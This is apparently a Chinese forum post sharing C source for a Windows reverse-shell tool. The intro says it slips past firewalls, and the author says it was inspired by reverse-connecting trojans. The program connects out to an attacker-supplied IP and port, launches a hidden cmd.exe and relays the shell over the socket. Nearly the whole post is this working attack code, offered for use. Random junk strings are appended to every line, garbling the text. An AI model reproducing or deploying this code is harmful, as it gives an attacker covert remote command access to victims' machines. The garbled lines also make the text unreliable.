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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZS`Kj(D  
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/* ============================== Nus]]Iy-g  
Rebound port in Windows NT g_?Q3  
By wind,2006/7 -.L )\  
===============================*/  -rT#Wi  
#include '+'h^  
#include P\QbMj1U  
D G&aFmC  
#pragma comment(lib,"wsock32.lib") .CNwuN\  
&l4kwds R  
void OutputShell(); ,4B8?0sH|  
SOCKET sClient; &5[+p{2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kjXwVGK=P<  
'Z%1Ly^b  
void main(int argc,char **argv) $@L2zl1  
{ yL -}E  
WSADATA stWsaData; >;VZB/ d  
int nRet; m'k>U4  
SOCKADDR_IN stSaiClient,stSaiServer; ,}9 tJY@ E  
yJ6g{#X4K<  
if(argc != 3) ]v?jfy  
{ | h+vdE8  
printf("Useage:\n\rRebound DestIP DestPort\n"); FU.?n)P  
return; '/AX 'U8Y  
} {wDe#c{_  
|ZXz&Xor  
WSAStartup(MAKEWORD(2,2),&stWsaData); '$J M2 u  
N[v=;&  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mgM"u94-]  
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stSaiClient.sin_family = AF_INET; ?{5}3a bB`  
stSaiClient.sin_port = htons(0); H<P d&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X\i;j!;d  
]1W]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JZE@W -2  
{ =^_a2_BBl  
printf("Bind Socket Failed!\n"); Kltqe5  
return; 2v#gCou  
} Q&"oh  
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stSaiServer.sin_family = AF_INET; -})zRL0!'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s#")hMJQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n.R"n9v`  
Kc#1H|'2N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S 2W@;XvV  
{ ]D=fvvST  
printf("Connect Error!"); >J_ P[v  
return; ra_v+HR7  
} [X8EfU}  
OutputShell(); >l=^3B,j  
} T7O)  
bw+IH-b  
void OutputShell() w*o2lg9  
{ w|*D{`O  
char szBuff[1024]; BglbQ'6p  
SECURITY_ATTRIBUTES stSecurityAttributes; +4rd N\.  
OSVERSIONINFO stOsversionInfo; AR&l9R[{N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sBqOcy  
STARTUPINFO stStartupInfo; @U1t~f^  
char *szShell; (NJ.\m  
PROCESS_INFORMATION stProcessInformation; BW`;QF<  
unsigned long lBytesRead; ]#G1 ]U  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !T8sWMY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3*(><<ZC  
stSecurityAttributes.lpSecurityDescriptor = 0; nQa:t. rC  
stSecurityAttributes.bInheritHandle = TRUE; _Vt(Eg_\  
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$&Z#2 X.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {G<1.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;W FiMM\  
=wD&hDn4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YNKvR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z3>4 xn{  
stStartupInfo.wShowWindow = SW_HIDE; Fzy#!^9Nu  
stStartupInfo.hStdInput = hReadPipe; I }8b]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e#F3KLSL`  
E]r<t#  
GetVersionEx(&stOsversionInfo); ]&P 4QT)f  
%mzDmrzq  
switch(stOsversionInfo.dwPlatformId) yw89*:A6  
{ &yOl}?u  
case 1: S?OCy4dk:  
szShell = "command.com"; Ae1b`%To  
break; ltNY8xrdGN  
default: Ag8lI+ h  
szShell = "cmd.exe"; ZW@cw}  
break; ,wv>G]v  
} a( N;| <  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H6`zzH0"  
gi)C5J4  
send(sClient,szMsg,77,0); %|j`;gYV  
while(1) t2rZ%[O  
{ ;sz_W%-;@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TD4 n%k.  
if(lBytesRead) `A o"fRv#  
{ &+ H\ST(/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >enP~uW[#  
send(sClient,szBuff,lBytesRead,0); Ea0EG>Y  
} R$+"'N6p  
else  u bZ`Y$  
{ mmCGIX  
lBytesRead=recv(sClient,szBuff,1024,0); b !nA.`T  
if(lBytesRead<=0) break; {BJH}vV1)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \{ C ~B;=  
} d(| 4 +^>  
} oU*e=uehj  
w]N;HlU  
return; BIg2`95F|  
}
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